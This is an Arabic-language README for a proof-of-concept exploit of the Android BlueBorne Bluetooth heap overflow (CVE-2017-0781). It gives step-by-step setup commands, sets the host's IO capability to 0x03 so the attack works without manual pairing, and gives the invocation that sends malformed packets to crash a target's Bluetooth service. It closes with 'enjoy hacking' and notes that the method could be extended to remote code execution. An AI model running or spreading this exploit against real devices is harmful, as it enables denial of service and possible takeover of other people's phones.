
ثغرة تجاوز سعة الكومة في Android Blueborne CVE-2017-0781
هذا تنفيذ لثغرة تجاوز سعة الكومة (heap overflow) في أندرويد CVE-2017-0781 الموضحة في الورقة البيضاء Blueborne الصادرة عن Armis. قراءة إضافية: https://www.armis.com/blueborne/
في حالته الحالية، يُظهر هذا الكود تجاوز السعة والقدرة على تعطيل خدمة البلوتوث. مرة أخرى، هذا ليس تنفيذًا كاملًا للكود عن بُعد (remote code execution)، لكن يمكن أن يصبح كذلك.
ثبّت pwntools.
apt-get update
apt-get install python2.7 python-pip python-dev git libssl-dev libffi-dev build-essential
pip install --upgrade pip
pip install --upgrade pwntools
ثبّت pybluez.
apt-get install bluetooth libbluetooth-dev
pip install pybluez==0.22
لقد استخدمت أداتي hciconfig و btmgmt لهذا الغرض، وكلاهما مضمن في حزمة bluez. إذا تم قفل وحدة البلوتوث لديك، فقد يساعدك rfkill.
شغّل btmgmt.
سيُظهر أمر info فهارس أجهزتك.
إدخال select 0 سيجعل أول متحكم بلوتوث نشطًا. هناك اختصار لذلك وهو تشغيل الأداة بالشكل btmgmt --index 0.
تأكد من قدرتك على اكتشاف الأجهزة باستخدام أمر find. يجب أن تكون شاشة جهاز Android الخاص بك مضاءة ويجب أن تكون شاشة إعدادات البلوتوث مفتوحة حتى يمكن اكتشافه. لاحظ أن قابلية الاكتشاف ليست شرطًا مسبقًا لاستغلال هذه الثغرة كما هو مفصل في الورقة البيضاء التي نشرتها Armis.
لكي يعمل الاستغلال دون إقران يدوي، يجب ضبط إمكانيات الإدخال/الإخراج (IO) للمضيف باستخدام io-cap 0x03 في أداة btmgmt.
بعد ضبط ذلك، شغّل الكود بالأمر python CVE-2017-0781.py TARGET=XX:XX:XX:XX:XX:XX ويجب أن تتعطل خدمة البلوتوث على جهاز Android الخاص بك. قد يتطلب الأمر عدة محاولات. حاليًا يرسل الكود 30 من هذه الحزم غير الصالحة لإفساد ذاكرة كافية لتعطل العملية.
استمتع بالاختراق ;)
تأكد من رؤية جهاز البلوتوث الخاص بك على المضيف باستخدام الأمر hciconfig.
user-pc user # hciconfig
hci0: Type: BR/EDR Bus: USB
BD Address: XX:XX:XX:XX:XX:XX ACL MTU: 310:10 SCO MTU: 64:8
DOWN
RX bytes:580 acl:0 sco:0 events:31 errors:0
TX bytes:368 acl:0 sco:0 commands:30 errors:0
إذا لم يكن الجهاز في حالة UP بل في حالة DOWN كما هو موضح هنا، فقم بإصلاح ذلك باستخدام hciconfig <intf> up
user-pc user # hciconfig hci0 up
Can't init device hci0: Operation not possible due to RF-kill (132)
إذا ظهرت لك رسائل حول rf-kill، جرب الأمر rfkill list.
user-pc user # rfkill list
0: phy0: Wireless LAN
Soft blocked: no
Hard blocked: no
2: asus-wlan: Wireless LAN
Soft blocked: no
Hard blocked: no
3: asus-bluetooth: Bluetooth
Soft blocked: no
Hard blocked: no
4: hci0: Bluetooth
Soft blocked: yes
Hard blocked: no
يمكن إلغاء الحظر باستخدام rfkill unblock <id>.
إذا لاحظت أن جهازك ما زال يطلب رمز الإقران بعد ضبط إمكانيات الإدخال/الإخراج على المضيف، فمن المحتمل أن هذه الطريقة غير ممكنة حاليًا على جهازك.